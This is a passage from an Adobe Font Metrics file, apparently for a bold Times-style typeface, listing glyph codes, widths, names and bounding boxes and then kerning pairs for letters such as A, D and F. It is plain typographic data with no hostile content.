C 187 ; WX 500 ; N guillemotright ; B 27 36 477 415 ;
C 133 ; WX 1000 ; N ellipsis ; B 82 -13 917 156 ;
C 137 ; WX 1000 ; N perthousand ; B 7 -29 995 706 ;
C 191 ; WX 500 ; N questiondown ; B 55 -201 443 501 ;
C 96 ; WX 333 ; N grave ; B 8 528 246 713 ;
C 180 ; WX 333 ; N acute ; B 86 528 324 713 ;
C 136 ; WX 333 ; N circumflex ; B -2 528 335 704 ;
C 152 ; WX 333 ; N tilde ; B -16 547 349 674 ;
C 175 ; WX 333 ; N macron ; B 1 565 331 637 ;
C -1 ; WX 333 ; N breve ; B 15 528 318 691 ;
C -1 ; WX 333 ; N dotaccent ; B 103 536 258 691 ;
C 168 ; WX 333 ; N dieresis ; B -2 537 335 667 ;
C -1 ; WX 333 ; N ring ; B 60 527 273 740 ;
C 184 ; WX 333 ; N cedilla ; B 68 -218 294 0 ;
C -1 ; WX 333 ; N hungarumlaut ; B -13 528 425 713 ;
C -1 ; WX 333 ; N ogonek ; B 90 -193 319 24 ;
C -1 ; WX 333 ; N caron ; B -2 528 335 704 ;
C 151 ; WX 1000 ; N emdash ; B 0 181 1000 271 ;
C 198 ; WX 1000 ; N AE ; B 4 0 951 676 ;
C 170 ; WX 300 ; N ordfeminine ; B -1 397 301 688 ;
C -1 ; WX 667 ; N Lslash ; B 19 0 638 676 ;
C 216 ; WX 778 ; N Oslash ; B 35 -74 743 737 ;
C 140 ; WX 1000 ; N OE ; B 22 -5 981 684 ;
C 186 ; WX 330 ; N ordmasculine ; B 18 397 312 688 ;
C 230 ; WX 722 ; N ae ; B 33 -14 693 473 ;
C -1 ; WX 278 ; N dotlessi ; B 16 0 255 461 ;
C -1 ; WX 278 ; N lslash ; B -22 0 303 676 ;
C 248 ; WX 500 ; N oslash ; B 25 -92 476 549 ;
C 156 ; WX 722 ; N oe ; B 22 -14 696 473 ;
C 223 ; WX 556 ; N germandbls ; B 19 -12 517 691 ;
C 207 ; WX 389 ; N Idieresis ; B 20 0 370 877 ;
C 233 ; WX 444 ; N eacute ; B 25 -14 426 713 ;
C -1 ; WX 500 ; N abreve ; B 25 -14 488 691 ;
C -1 ; WX 556 ; N uhungarumlaut ; B 16 -14 557 713 ;
C -1 ; WX 444 ; N ecaron ; B 25 -14 426 704 ;
C 159 ; WX 722 ; N Ydieresis ; B 15 0 699 877 ;
C 247 ; WX 570 ; N divide ; B 33 -31 537 537 ;
C 221 ; WX 722 ; N Yacute ; B 15 0 699 923 ;
C 194 ; WX 722 ; N Acircumflex ; B 9 0 689 914 ;
C 225 ; WX 500 ; N aacute ; B 25 -14 488 713 ;
C 219 ; WX 722 ; N Ucircumflex ; B 16 -19 701 914 ;
C 253 ; WX 500 ; N yacute ; B 16 -205 480 713 ;
C -1 ; WX 389 ; N scommaaccent ; B 25 -218 361 473 ;
C 234 ; WX 444 ; N ecircumflex ; B 25 -14 426 704 ;
C -1 ; WX 722 ; N Uring ; B 16 -19 701 935 ;
C 220 ; WX 722 ; N Udieresis ; B 16 -19 701 877 ;
C -1 ; WX 500 ; N aogonek ; B 25 -193 504 473 ;
C 218 ; WX 722 ; N Uacute ; B 16 -19 701 923 ;
C -1 ; WX 556 ; N uogonek ; B 16 -193 539 461 ;
C 203 ; WX 667 ; N Edieresis ; B 16 0 641 877 ;
C -1 ; WX 722 ; N Dcroat ; B 6 0 690 676 ;
C -1 ; WX 250 ; N commaaccent ; B 47 -218 203 -50 ;
C 169 ; WX 747 ; N copyright ; B 26 -19 721 691 ;
C -1 ; WX 667 ; N Emacron ; B 16 0 641 847 ;
C -1 ; WX 444 ; N ccaron ; B 25 -14 430 704 ;
C 229 ; WX 500 ; N aring ; B 25 -14 488 740 ;
C -1 ; WX 722 ; N Ncommaaccent ; B 16 -188 701 676 ;
C -1 ; WX 278 ; N lacute ; B 16 0 297 923 ;
C 224 ; WX 500 ; N agrave ; B 25 -14 488 713 ;
C -1 ; WX 667 ; N Tcommaaccent ; B 31 -218 636 676 ;
C -1 ; WX 722 ; N Cacute ; B 49 -19 687 923 ;
C 227 ; WX 500 ; N atilde ; B 25 -14 488 674 ;
C -1 ; WX 667 ; N Edotaccent ; B 16 0 641 901 ;
C 154 ; WX 389 ; N scaron ; B 25 -14 363 704 ;
C -1 ; WX 389 ; N scedilla ; B 25 -218 361 473 ;
C 237 ; WX 278 ; N iacute ; B 16 0 289 713 ;
C -1 ; WX 494 ; N lozenge ; B 10 0 484 745 ;
C -1 ; WX 722 ; N Rcaron ; B 26 0 715 914 ;
C -1 ; WX 778 ; N Gcommaaccent ; B 37 -218 755 691 ;
C 251 ; WX 556 ; N ucircumflex ; B 16 -14 537 704 ;
C 226 ; WX 500 ; N acircumflex ; B 25 -14 488 704 ;
C -1 ; WX 722 ; N Amacron ; B 9 0 689 847 ;
C -1 ; WX 444 ; N rcaron ; B 29 0 434 704 ;
C 231 ; WX 444 ; N ccedilla ; B 25 -218 430 473 ;
C -1 ; WX 667 ; N Zdotaccent ; B 28 0 634 901 ;
C 222 ; WX 611 ; N Thorn ; B 16 0 600 676 ;
C -1 ; WX 778 ; N Omacron ; B 35 -19 743 847 ;
C -1 ; WX 722 ; N Racute ; B 26 0 715 923 ;
C -1 ; WX 556 ; N Sacute ; B 35 -19 513 923 ;
C -1 ; WX 672 ; N dcaron ; B 25 -14 681 682 ;
C -1 ; WX 722 ; N Umacron ; B 16 -19 701 847 ;
C -1 ; WX 556 ; N uring ; B 16 -14 537 740 ;
C 179 ; WX 300 ; N threesuperior ; B 3 268 297 688 ;
C 210 ; WX 778 ; N Ograve ; B 35 -19 743 923 ;
C 192 ; WX 722 ; N Agrave ; B 9 0 689 923 ;
C -1 ; WX 722 ; N Abreve ; B 9 0 689 901 ;
C 215 ; WX 570 ; N multiply ; B 48 16 522 490 ;
C 250 ; WX 556 ; N uacute ; B 16 -14 537 713 ;
C -1 ; WX 667 ; N Tcaron ; B 31 0 636 914 ;
C -1 ; WX 494 ; N partialdiff ; B 11 -21 494 750 ;
C 255 ; WX 500 ; N ydieresis ; B 16 -205 480 667 ;
C -1 ; WX 722 ; N Nacute ; B 16 -18 701 923 ;
C 238 ; WX 278 ; N icircumflex ; B -37 0 300 704 ;
C 202 ; WX 667 ; N Ecircumflex ; B 16 0 641 914 ;
C 228 ; WX 500 ; N adieresis ; B 25 -14 488 667 ;
C 235 ; WX 444 ; N edieresis ; B 25 -14 426 667 ;
C -1 ; WX 444 ; N cacute ; B 25 -14 430 713 ;
C -1 ; WX 556 ; N nacute ; B 21 0 539 713 ;
C -1 ; WX 556 ; N umacron ; B 16 -14 537 637 ;
C -1 ; WX 722 ; N Ncaron ; B 16 -18 701 914 ;
C 205 ; WX 389 ; N Iacute ; B 20 0 370 923 ;
C 177 ; WX 570 ; N plusminus ; B 33 0 537 506 ;
C 166 ; WX 220 ; N brokenbar ; B 66 -143 154 707 ;
C 174 ; WX 747 ; N registered ; B 26 -19 721 691 ;
C -1 ; WX 778 ; N Gbreve ; B 37 -19 755 901 ;
C -1 ; WX 389 ; N Idotaccent ; B 20 0 370 901 ;
C -1 ; WX 600 ; N summation ; B 14 -10 585 706 ;
C 200 ; WX 667 ; N Egrave ; B 16 0 641 923 ;
C -1 ; WX 444 ; N racute ; B 29 0 434 713 ;
C -1 ; WX 500 ; N omacron ; B 25 -14 476 637 ;
C -1 ; WX 667 ; N Zacute ; B 28 0 634 923 ;
C 142 ; WX 667 ; N Zcaron ; B 28 0 634 914 ;
C -1 ; WX 549 ; N greaterequal ; B 26 0 523 704 ;
C 208 ; WX 722 ; N Eth ; B 6 0 690 676 ;
C 199 ; WX 722 ; N Ccedilla ; B 49 -218 687 691 ;
C -1 ; WX 278 ; N lcommaaccent ; B 16 -218 255 676 ;
C -1 ; WX 416 ; N tcaron ; B 20 -12 425 815 ;
C -1 ; WX 444 ; N eogonek ; B 25 -193 426 473 ;
C -1 ; WX 722 ; N Uogonek ; B 16 -193 701 676 ;
C 193 ; WX 722 ; N Aacute ; B 9 0 689 923 ;
C 196 ; WX 722 ; N Adieresis ; B 9 0 689 877 ;
C 232 ; WX 444 ; N egrave ; B 25 -14 426 713 ;
C -1 ; WX 444 ; N zacute ; B 21 0 420 713 ;
C -1 ; WX 278 ; N iogonek ; B 16 -193 274 691 ;
C 211 ; WX 778 ; N Oacute ; B 35 -19 743 923 ;
C 243 ; WX 500 ; N oacute ; B 25 -14 476 713 ;
C -1 ; WX 500 ; N amacron ; B 25 -14 488 637 ;
C -1 ; WX 389 ; N sacute ; B 25 -14 361 713 ;
C 239 ; WX 278 ; N idieresis ; B -37 0 300 667 ;
C 212 ; WX 778 ; N Ocircumflex ; B 35 -19 743 914 ;
C 217 ; WX 722 ; N Ugrave ; B 16 -19 701 923 ;
C -1 ; WX 612 ; N Delta ; B 6 0 608 688 ;
C 254 ; WX 556 ; N thorn ; B 19 -205 524 676 ;
C 178 ; WX 300 ; N twosuperior ; B 0 275 300 688 ;
C 214 ; WX 778 ; N Odieresis ; B 35 -19 743 877 ;
C 181 ; WX 556 ; N mu ; B 33 -206 536 461 ;
C 236 ; WX 278 ; N igrave ; B -27 0 255 713 ;
C -1 ; WX 500 ; N ohungarumlaut ; B 25 -14 529 713 ;
C -1 ; WX 667 ; N Eogonek ; B 16 -193 644 676 ;
C -1 ; WX 556 ; N dcroat ; B 25 -14 534 676 ;
C 190 ; WX 750 ; N threequarters ; B 23 -12 733 688 ;
C -1 ; WX 556 ; N Scedilla ; B 35 -218 513 692 ;
C -1 ; WX 394 ; N lcaron ; B 16 0 412 682 ;
C -1 ; WX 778 ; N Kcommaaccent ; B 30 -218 769 676 ;
C -1 ; WX 667 ; N Lacute ; B 19 0 638 923 ;
C 153 ; WX 1000 ; N trademark ; B 24 271 977 676 ;
C -1 ; WX 444 ; N edotaccent ; B 25 -14 426 691 ;
C 204 ; WX 389 ; N Igrave ; B 20 0 370 923 ;
C -1 ; WX 389 ; N Imacron ; B 20 0 370 847 ;
C -1 ; WX 667 ; N Lcaron ; B 19 0 652 682 ;
C 189 ; WX 750 ; N onehalf ; B -7 -12 775 688 ;
C -1 ; WX 549 ; N lessequal ; B 29 0 526 704 ;
C 244 ; WX 500 ; N ocircumflex ; B 25 -14 476 704 ;
C 241 ; WX 556 ; N ntilde ; B 21 0 539 674 ;
C -1 ; WX 722 ; N Uhungarumlaut ; B 16 -19 701 923 ;
C 201 ; WX 667 ; N Eacute ; B 16 0 641 923 ;
C -1 ; WX 444 ; N emacron ; B 25 -14 426 637 ;
C -1 ; WX 500 ; N gbreve ; B 28 -206 483 691 ;
C 188 ; WX 750 ; N onequarter ; B 28 -12 743 688 ;
C 138 ; WX 556 ; N Scaron ; B 35 -19 513 914 ;
C -1 ; WX 556 ; N Scommaaccent ; B 35 -218 513 692 ;
C -1 ; WX 778 ; N Ohungarumlaut ; B 35 -19 743 923 ;
C 176 ; WX 400 ; N degree ; B 57 402 343 688 ;
C 242 ; WX 500 ; N ograve ; B 25 -14 476 713 ;
C -1 ; WX 722 ; N Ccaron ; B 49 -19 687 914 ;
C 249 ; WX 556 ; N ugrave ; B 16 -14 537 713 ;
C -1 ; WX 549 ; N radical ; B 10 -46 512 850 ;
C -1 ; WX 722 ; N Dcaron ; B 14 0 690 914 ;
C -1 ; WX 444 ; N rcommaaccent ; B 29 -218 434 473 ;
C 209 ; WX 722 ; N Ntilde ; B 16 -18 701 884 ;
C 245 ; WX 500 ; N otilde ; B 25 -14 476 674 ;
C -1 ; WX 722 ; N Rcommaaccent ; B 26 -218 715 676 ;
C -1 ; WX 667 ; N Lcommaaccent ; B 19 -218 638 676 ;
C 195 ; WX 722 ; N Atilde ; B 9 0 689 884 ;
C -1 ; WX 722 ; N Aogonek ; B 9 -193 699 690 ;
C 197 ; WX 722 ; N Aring ; B 9 0 689 935 ;
C 213 ; WX 778 ; N Otilde ; B 35 -19 743 884 ;
C -1 ; WX 444 ; N zdotaccent ; B 21 0 420 691 ;
C -1 ; WX 667 ; N Ecaron ; B 16 0 641 914 ;
C -1 ; WX 389 ; N Iogonek ; B 20 -193 370 676 ;
C -1 ; WX 556 ; N kcommaaccent ; B 22 -218 543 676 ;
C -1 ; WX 570 ; N minus ; B 33 209 537 297 ;
C 206 ; WX 389 ; N Icircumflex ; B 20 0 370 914 ;
C -1 ; WX 556 ; N ncaron ; B 21 0 539 704 ;
C -1 ; WX 333 ; N tcommaaccent ; B 20 -218 332 630 ;
C 172 ; WX 570 ; N logicalnot ; B 33 108 537 399 ;
C 246 ; WX 500 ; N odieresis ; B 25 -14 476 667 ;
C 252 ; WX 556 ; N udieresis ; B 16 -14 537 667 ;
C -1 ; WX 549 ; N notequal ; B 15 -49 540 570 ;
C -1 ; WX 500 ; N gcommaaccent ; B 28 -206 483 829 ;
C 240 ; WX 500 ; N eth ; B 25 -14 476 691 ;
C 158 ; WX 444 ; N zcaron ; B 21 0 420 704 ;
C -1 ; WX 556 ; N ncommaaccent ; B 21 -218 539 473 ;
C 185 ; WX 300 ; N onesuperior ; B 28 275 273 688 ;
C -1 ; WX 278 ; N imacron ; B -8 0 272 637 ;
C 128 ; WX 500 ; N Euro ; B 0 0 0 0 ;
EndCharMetrics
StartKernData
StartKernPairs 2242
KPX A C -55
KPX A Cacute -55
KPX A Ccaron -55
KPX A Ccedilla -55
KPX A G -55
KPX A Gbreve -55
KPX A Gcommaaccent -55
KPX A O -45
KPX A Oacute -45
KPX A Ocircumflex -45
KPX A Odieresis -45
KPX A Ograve -45
KPX A Ohungarumlaut -45
KPX A Omacron -45
KPX A Oslash -45
KPX A Otilde -45
KPX A Q -45
KPX A T -95
KPX A Tcaron -95
KPX A Tcommaaccent -95
KPX A U -50
KPX A Uacute -50
KPX A Ucircumflex -50
KPX A Udieresis -50
KPX A Ugrave -50
KPX A Uhungarumlaut -50
KPX A Umacron -50
KPX A Uogonek -50
KPX A Uring -50
KPX A V -145
KPX A W -130
KPX A Y -100
KPX A Yacute -100
KPX A Ydieresis -100
KPX A p -25
KPX A quoteright -74
KPX A u -50
KPX A uacute -50
KPX A ucircumflex -50
KPX A udieresis -50
KPX A ugrave -50
KPX A uhungarumlaut -50
KPX A umacron -50
KPX A uogonek -50
KPX A uring -50
KPX A v -100
KPX A w -90
KPX A y -74
KPX A yacute -74
KPX A ydieresis -74
KPX Aacute C -55
KPX Aacute Cacute -55
KPX Aacute Ccaron -55
KPX Aacute Ccedilla -55
KPX Aacute G -55
KPX Aacute Gbreve -55
KPX Aacute Gcommaaccent -55
KPX Aacute O -45
KPX Aacute Oacute -45
KPX Aacute Ocircumflex -45
KPX Aacute Odieresis -45
KPX Aacute Ograve -45
KPX Aacute Ohungarumlaut -45
KPX Aacute Omacron -45
KPX Aacute Oslash -45
KPX Aacute Otilde -45
KPX Aacute Q -45
KPX Aacute T -95
KPX Aacute Tcaron -95
KPX Aacute Tcommaaccent -95
KPX Aacute U -50
KPX Aacute Uacute -50
KPX Aacute Ucircumflex -50
KPX Aacute Udieresis -50
KPX Aacute Ugrave -50
KPX Aacute Uhungarumlaut -50
KPX Aacute Umacron -50
KPX Aacute Uogonek -50
KPX Aacute Uring -50
KPX Aacute V -145
KPX Aacute W -130
KPX Aacute Y -100
KPX Aacute Yacute -100
KPX Aacute Ydieresis -100
KPX Aacute p -25
KPX Aacute quoteright -74
KPX Aacute u -50
KPX Aacute uacute -50
KPX Aacute ucircumflex -50
KPX Aacute udieresis -50
KPX Aacute ugrave -50
KPX Aacute uhungarumlaut -50
KPX Aacute umacron -50
KPX Aacute uogonek -50
KPX Aacute uring -50
KPX Aacute v -100
KPX Aacute w -90
KPX Aacute y -74
KPX Aacute yacute -74
KPX Aacute ydieresis -74
KPX Abreve C -55
KPX Abreve Cacute -55
KPX Abreve Ccaron -55
KPX Abreve Ccedilla -55
KPX Abreve G -55
KPX Abreve Gbreve -55
KPX Abreve Gcommaaccent -55
KPX Abreve O -45
KPX Abreve Oacute -45
KPX Abreve Ocircumflex -45
KPX Abreve Odieresis -45
KPX Abreve Ograve -45
KPX Abreve Ohungarumlaut -45
KPX Abreve Omacron -45
KPX Abreve Oslash -45
KPX Abreve Otilde -45
KPX Abreve Q -45
KPX Abreve T -95
KPX Abreve Tcaron -95
KPX Abreve Tcommaaccent -95
KPX Abreve U -50
KPX Abreve Uacute -50
KPX Abreve Ucircumflex -50
KPX Abreve Udieresis -50
KPX Abreve Ugrave -50
KPX Abreve Uhungarumlaut -50
KPX Abreve Umacron -50
KPX Abreve Uogonek -50
KPX Abreve Uring -50
KPX Abreve V -145
KPX Abreve W -130
KPX Abreve Y -100
KPX Abreve Yacute -100
KPX Abreve Ydieresis -100
KPX Abreve p -25
KPX Abreve quoteright -74
KPX Abreve u -50
KPX Abreve uacute -50
KPX Abreve ucircumflex -50
KPX Abreve udieresis -50
KPX Abreve ugrave -50
KPX Abreve uhungarumlaut -50
KPX Abreve umacron -50
KPX Abreve uogonek -50
KPX Abreve uring -50
KPX Abreve v -100
KPX Abreve w -90
KPX Abreve y -74
KPX Abreve yacute -74
KPX Abreve ydieresis -74
KPX Acircumflex C -55
KPX Acircumflex Cacute -55
KPX Acircumflex Ccaron -55
KPX Acircumflex Ccedilla -55
KPX Acircumflex G -55
KPX Acircumflex Gbreve -55
KPX Acircumflex Gcommaaccent -55
KPX Acircumflex O -45
KPX Acircumflex Oacute -45
KPX Acircumflex Ocircumflex -45
KPX Acircumflex Odieresis -45
KPX Acircumflex Ograve -45
KPX Acircumflex Ohungarumlaut -45
KPX Acircumflex Omacron -45
KPX Acircumflex Oslash -45
KPX Acircumflex Otilde -45
KPX Acircumflex Q -45
KPX Acircumflex T -95
KPX Acircumflex Tcaron -95
KPX Acircumflex Tcommaaccent -95
KPX Acircumflex U -50
KPX Acircumflex Uacute -50
KPX Acircumflex Ucircumflex -50
KPX Acircumflex Udieresis -50
KPX Acircumflex Ugrave -50
KPX Acircumflex Uhungarumlaut -50
KPX Acircumflex Umacron -50
KPX Acircumflex Uogonek -50
KPX Acircumflex Uring -50
KPX Acircumflex V -145
KPX Acircumflex W -130
KPX Acircumflex Y -100
KPX Acircumflex Yacute -100
KPX Acircumflex Ydieresis -100
KPX Acircumflex p -25
KPX Acircumflex quoteright -74
KPX Acircumflex u -50
KPX Acircumflex uacute -50
KPX Acircumflex ucircumflex -50
KPX Acircumflex udieresis -50
KPX Acircumflex ugrave -50
KPX Acircumflex uhungarumlaut -50
KPX Acircumflex umacron -50
KPX Acircumflex uogonek -50
KPX Acircumflex uring -50
KPX Acircumflex v -100
KPX Acircumflex w -90
KPX Acircumflex y -74
KPX Acircumflex yacute -74
KPX Acircumflex ydieresis -74
KPX Adieresis C -55
KPX Adieresis Cacute -55
KPX Adieresis Ccaron -55
KPX Adieresis Ccedilla -55
KPX Adieresis G -55
KPX Adieresis Gbreve -55
KPX Adieresis Gcommaaccent -55
KPX Adieresis O -45
KPX Adieresis Oacute -45
KPX Adieresis Ocircumflex -45
KPX Adieresis Odieresis -45
KPX Adieresis Ograve -45
KPX Adieresis Ohungarumlaut -45
KPX Adieresis Omacron -45
KPX Adieresis Oslash -45
KPX Adieresis Otilde -45
KPX Adieresis Q -45
KPX Adieresis T -95
KPX Adieresis Tcaron -95
KPX Adieresis Tcommaaccent -95
KPX Adieresis U -50
KPX Adieresis Uacute -50
KPX Adieresis Ucircumflex -50
KPX Adieresis Udieresis -50
KPX Adieresis Ugrave -50
KPX Adieresis Uhungarumlaut -50
KPX Adieresis Umacron -50
KPX Adieresis Uogonek -50
KPX Adieresis Uring -50
KPX Adieresis V -145
KPX Adieresis W -130
KPX Adieresis Y -100
KPX Adieresis Yacute -100
KPX Adieresis Ydieresis -100
KPX Adieresis p -25
KPX Adieresis quoteright -74
KPX Adieresis u -50
KPX Adieresis uacute -50
KPX Adieresis ucircumflex -50
KPX Adieresis udieresis -50
KPX Adieresis ugrave -50
KPX Adieresis uhungarumlaut -50
KPX Adieresis umacron -50
KPX Adieresis uogonek -50
KPX Adieresis uring -50
KPX Adieresis v -100
KPX Adieresis w -90
KPX Adieresis y -74
KPX Adieresis yacute -74
KPX Adieresis ydieresis -74
KPX Agrave C -55
KPX Agrave Cacute -55
KPX Agrave Ccaron -55
KPX Agrave Ccedilla -55
KPX Agrave G -55
KPX Agrave Gbreve -55
KPX Agrave Gcommaaccent -55
KPX Agrave O -45
KPX Agrave Oacute -45
KPX Agrave Ocircumflex -45
KPX Agrave Odieresis -45
KPX Agrave Ograve -45
KPX Agrave Ohungarumlaut -45
KPX Agrave Omacron -45
KPX Agrave Oslash -45
KPX Agrave Otilde -45
KPX Agrave Q -45
KPX Agrave T -95
KPX Agrave Tcaron -95
KPX Agrave Tcommaaccent -95
KPX Agrave U -50
KPX Agrave Uacute -50
KPX Agrave Ucircumflex -50
KPX Agrave Udieresis -50
KPX Agrave Ugrave -50
KPX Agrave Uhungarumlaut -50
KPX Agrave Umacron -50
KPX Agrave Uogonek -50
KPX Agrave Uring -50
KPX Agrave V -145
KPX Agrave W -130
KPX Agrave Y -100
KPX Agrave Yacute -100
KPX Agrave Ydieresis -100
KPX Agrave p -25
KPX Agrave quoteright -74
KPX Agrave u -50
KPX Agrave uacute -50
KPX Agrave ucircumflex -50
KPX Agrave udieresis -50
KPX Agrave ugrave -50
KPX Agrave uhungarumlaut -50
KPX Agrave umacron -50
KPX Agrave uogonek -50
KPX Agrave uring -50
KPX Agrave v -100
KPX Agrave w -90
KPX Agrave y -74
KPX Agrave yacute -74
KPX Agrave ydieresis -74
KPX Amacron C -55
KPX Amacron Cacute -55
KPX Amacron Ccaron -55
KPX Amacron Ccedilla -55
KPX Amacron G -55
KPX Amacron Gbreve -55
KPX Amacron Gcommaaccent -55
KPX Amacron O -45
KPX Amacron Oacute -45
KPX Amacron Ocircumflex -45
KPX Amacron Odieresis -45
KPX Amacron Ograve -45
KPX Amacron Ohungarumlaut -45
KPX Amacron Omacron -45
KPX Amacron Oslash -45
KPX Amacron Otilde -45
KPX Amacron Q -45
KPX Amacron T -95
KPX Amacron Tcaron -95
KPX Amacron Tcommaaccent -95
KPX Amacron U -50
KPX Amacron Uacute -50
KPX Amacron Ucircumflex -50
KPX Amacron Udieresis -50
KPX Amacron Ugrave -50
KPX Amacron Uhungarumlaut -50
KPX Amacron Umacron -50
KPX Amacron Uogonek -50
KPX Amacron Uring -50
KPX Amacron V -145
KPX Amacron W -130
KPX Amacron Y -100
KPX Amacron Yacute -100
KPX Amacron Ydieresis -100
KPX Amacron p -25
KPX Amacron quoteright -74
KPX Amacron u -50
KPX Amacron uacute -50
KPX Amacron ucircumflex -50
KPX Amacron udieresis -50
KPX Amacron ugrave -50
KPX Amacron uhungarumlaut -50
KPX Amacron umacron -50
KPX Amacron uogonek -50
KPX Amacron uring -50
KPX Amacron v -100
KPX Amacron w -90
KPX Amacron y -74
KPX Amacron yacute -74
KPX Amacron ydieresis -74
KPX Aogonek C -55
KPX Aogonek Cacute -55
KPX Aogonek Ccaron -55
KPX Aogonek Ccedilla -55
KPX Aogonek G -55
KPX Aogonek Gbreve -55
KPX Aogonek Gcommaaccent -55
KPX Aogonek O -45
KPX Aogonek Oacute -45
KPX Aogonek Ocircumflex -45
KPX Aogonek Odieresis -45
KPX Aogonek Ograve -45
KPX Aogonek Ohungarumlaut -45
KPX Aogonek Omacron -45
KPX Aogonek Oslash -45
KPX Aogonek Otilde -45
KPX Aogonek Q -45
KPX Aogonek T -95
KPX Aogonek Tcaron -95
KPX Aogonek Tcommaaccent -95
KPX Aogonek U -50
KPX Aogonek Uacute -50
KPX Aogonek Ucircumflex -50
KPX Aogonek Udieresis -50
KPX Aogonek Ugrave -50
KPX Aogonek Uhungarumlaut -50
KPX Aogonek Umacron -50
KPX Aogonek Uogonek -50
KPX Aogonek Uring -50
KPX Aogonek V -145
KPX Aogonek W -130
KPX Aogonek Y -100
KPX Aogonek Yacute -100
KPX Aogonek Ydieresis -100
KPX Aogonek p -25
KPX Aogonek quoteright -74
KPX Aogonek u -50
KPX Aogonek uacute -50
KPX Aogonek ucircumflex -50
KPX Aogonek udieresis -50
KPX Aogonek ugrave -50
KPX Aogonek uhungarumlaut -50
KPX Aogonek umacron -50
KPX Aogonek uogonek -50
KPX Aogonek uring -50
KPX Aogonek v -100
KPX Aogonek w -90
KPX Aogonek y -34
KPX Aogonek yacute -34
KPX Aogonek ydieresis -34
KPX Aring C -55
KPX Aring Cacute -55
KPX Aring Ccaron -55
KPX Aring Ccedilla -55
KPX Aring G -55
KPX Aring Gbreve -55
KPX Aring Gcommaaccent -55
KPX Aring O -45
KPX Aring Oacute -45
KPX Aring Ocircumflex -45
KPX Aring Odieresis -45
KPX Aring Ograve -45
KPX Aring Ohungarumlaut -45
KPX Aring Omacron -45
KPX Aring Oslash -45
KPX Aring Otilde -45
KPX Aring Q -45
KPX Aring T -95
KPX Aring Tcaron -95
KPX Aring Tcommaaccent -95
KPX Aring U -50
KPX Aring Uacute -50
KPX Aring Ucircumflex -50
KPX Aring Udieresis -50
KPX Aring Ugrave -50
KPX Aring Uhungarumlaut -50
KPX Aring Umacron -50
KPX Aring Uogonek -50
KPX Aring Uring -50
KPX Aring V -145
KPX Aring W -130
KPX Aring Y -100
KPX Aring Yacute -100
KPX Aring Ydieresis -100
KPX Aring p -25
KPX Aring quoteright -74
KPX Aring u -50
KPX Aring uacute -50
KPX Aring ucircumflex -50
KPX Aring udieresis -50
KPX Aring ugrave -50
KPX Aring uhungarumlaut -50
KPX Aring umacron -50
KPX Aring uogonek -50
KPX Aring uring -50
KPX Aring v -100
KPX Aring w -90
KPX Aring y -74
KPX Aring yacute -74
KPX Aring ydieresis -74
KPX Atilde C -55
KPX Atilde Cacute -55
KPX Atilde Ccaron -55
KPX Atilde Ccedilla -55
KPX Atilde G -55
KPX Atilde Gbreve -55
KPX Atilde Gcommaaccent -55
KPX Atilde O -45
KPX Atilde Oacute -45
KPX Atilde Ocircumflex -45
KPX Atilde Odieresis -45
KPX Atilde Ograve -45
KPX Atilde Ohungarumlaut -45
KPX Atilde Omacron -45
KPX Atilde Oslash -45
KPX Atilde Otilde -45
KPX Atilde Q -45
KPX Atilde T -95
KPX Atilde Tcaron -95
KPX Atilde Tcommaaccent -95
KPX Atilde U -50
KPX Atilde Uacute -50
KPX Atilde Ucircumflex -50
KPX Atilde Udieresis -50
KPX Atilde Ugrave -50
KPX Atilde Uhungarumlaut -50
KPX Atilde Umacron -50
KPX Atilde Uogonek -50
KPX Atilde Uring -50
KPX Atilde V -145
KPX Atilde W -130
KPX Atilde Y -100
KPX Atilde Yacute -100
KPX Atilde Ydieresis -100
KPX Atilde p -25
KPX Atilde quoteright -74
KPX Atilde u -50
KPX Atilde uacute -50
KPX Atilde ucircumflex -50
KPX Atilde udieresis -50
KPX Atilde ugrave -50
KPX Atilde uhungarumlaut -50
KPX Atilde umacron -50
KPX Atilde uogonek -50
KPX Atilde uring -50
KPX Atilde v -100
KPX Atilde w -90
KPX Atilde y -74
KPX Atilde yacute -74
KPX Atilde ydieresis -74
KPX B A -30
KPX B Aacute -30
KPX B Abreve -30
KPX B Acircumflex -30
KPX B Adieresis -30
KPX B Agrave -30
KPX B Amacron -30
KPX B Aogonek -30
KPX B Aring -30
KPX B Atilde -30
KPX B U -10
KPX B Uacute -10
KPX B Ucircumflex -10
KPX B Udieresis -10
KPX B Ugrave -10
KPX B Uhungarumlaut -10
KPX B Umacron -10
KPX B Uogonek -10
KPX B Uring -10
KPX D A -35
KPX D Aacute -35
KPX D Abreve -35
KPX D Acircumflex -35
KPX D Adieresis -35
KPX D Agrave -35
KPX D Amacron -35
KPX D Aogonek -35
KPX D Aring -35
KPX D Atilde -35
KPX D V -40
KPX D W -40
KPX D Y -40
KPX D Yacute -40
KPX D Ydieresis -40
KPX D period -20
KPX Dcaron A -35
KPX Dcaron Aacute -35
KPX Dcaron Abreve -35
KPX Dcaron Acircumflex -35
KPX Dcaron Adieresis -35
KPX Dcaron Agrave -35
KPX Dcaron Amacron -35
KPX Dcaron Aogonek -35
KPX Dcaron Aring -35
KPX Dcaron Atilde -35
KPX Dcaron V -40
KPX Dcaron W -40
KPX Dcaron Y -40
KPX Dcaron Yacute -40
KPX Dcaron Ydieresis -40
KPX Dcaron period -20
KPX Dcroat A -35
KPX Dcroat Aacute -35
KPX Dcroat Abreve -35
KPX Dcroat Acircumflex -35
KPX Dcroat Adieresis -35
KPX Dcroat Agrave -35
KPX Dcroat Amacron -35
KPX Dcroat Aogonek -35
KPX Dcroat Aring -35
KPX Dcroat Atilde -35
KPX Dcroat V -40
KPX Dcroat W -40
KPX Dcroat Y -40
KPX Dcroat Yacute -40
KPX Dcroat Ydieresis -40
KPX Dcroat period -20
KPX F A -90
KPX F Aacute -90
KPX F Abreve -90
KPX F Acircumflex -90
KPX F Adieresis -90
KPX F Agrave -90
KPX F Amacron -90
KPX F Aogonek -90
KPX F Aring -90
KPX F Atilde -90
KPX F a -25
KPX F aacute -25
KPX F abreve -25
KPX F acircumflex -25
KPX F adieresis -25
KPX F agrave -25
KPX F amacron -25
KPX F aogonek -25
KPX F aring -25
KPX F atilde -25
KPX F comma -92
KPX F e -25
KPX F eacute -25
KPX F ecaron -25
KPX F ecircumflex -25
KPX F edieresis -25
KPX F edotaccent -25
KPX F egrave -25
KPX F emacron -25
KPX F eogonek -25
KPX F o -25
KPX F oacute -25
KPX F ocircumflex -25
KPX F odieresis -25
KPX F ograve -25
KPX F ohungarumlaut -25
KPX F omacron -25
KPX F oslash -25
KPX F otilde -25
KPX F period -110
KPX J A -30
KPX J Aacute -30
KPX J Abreve -30
KPX J Acircumflex -30
KPX J Adieresis -30
KPX J Agrave -30
KPX J Amacron -30
KPX J Aogonek -30
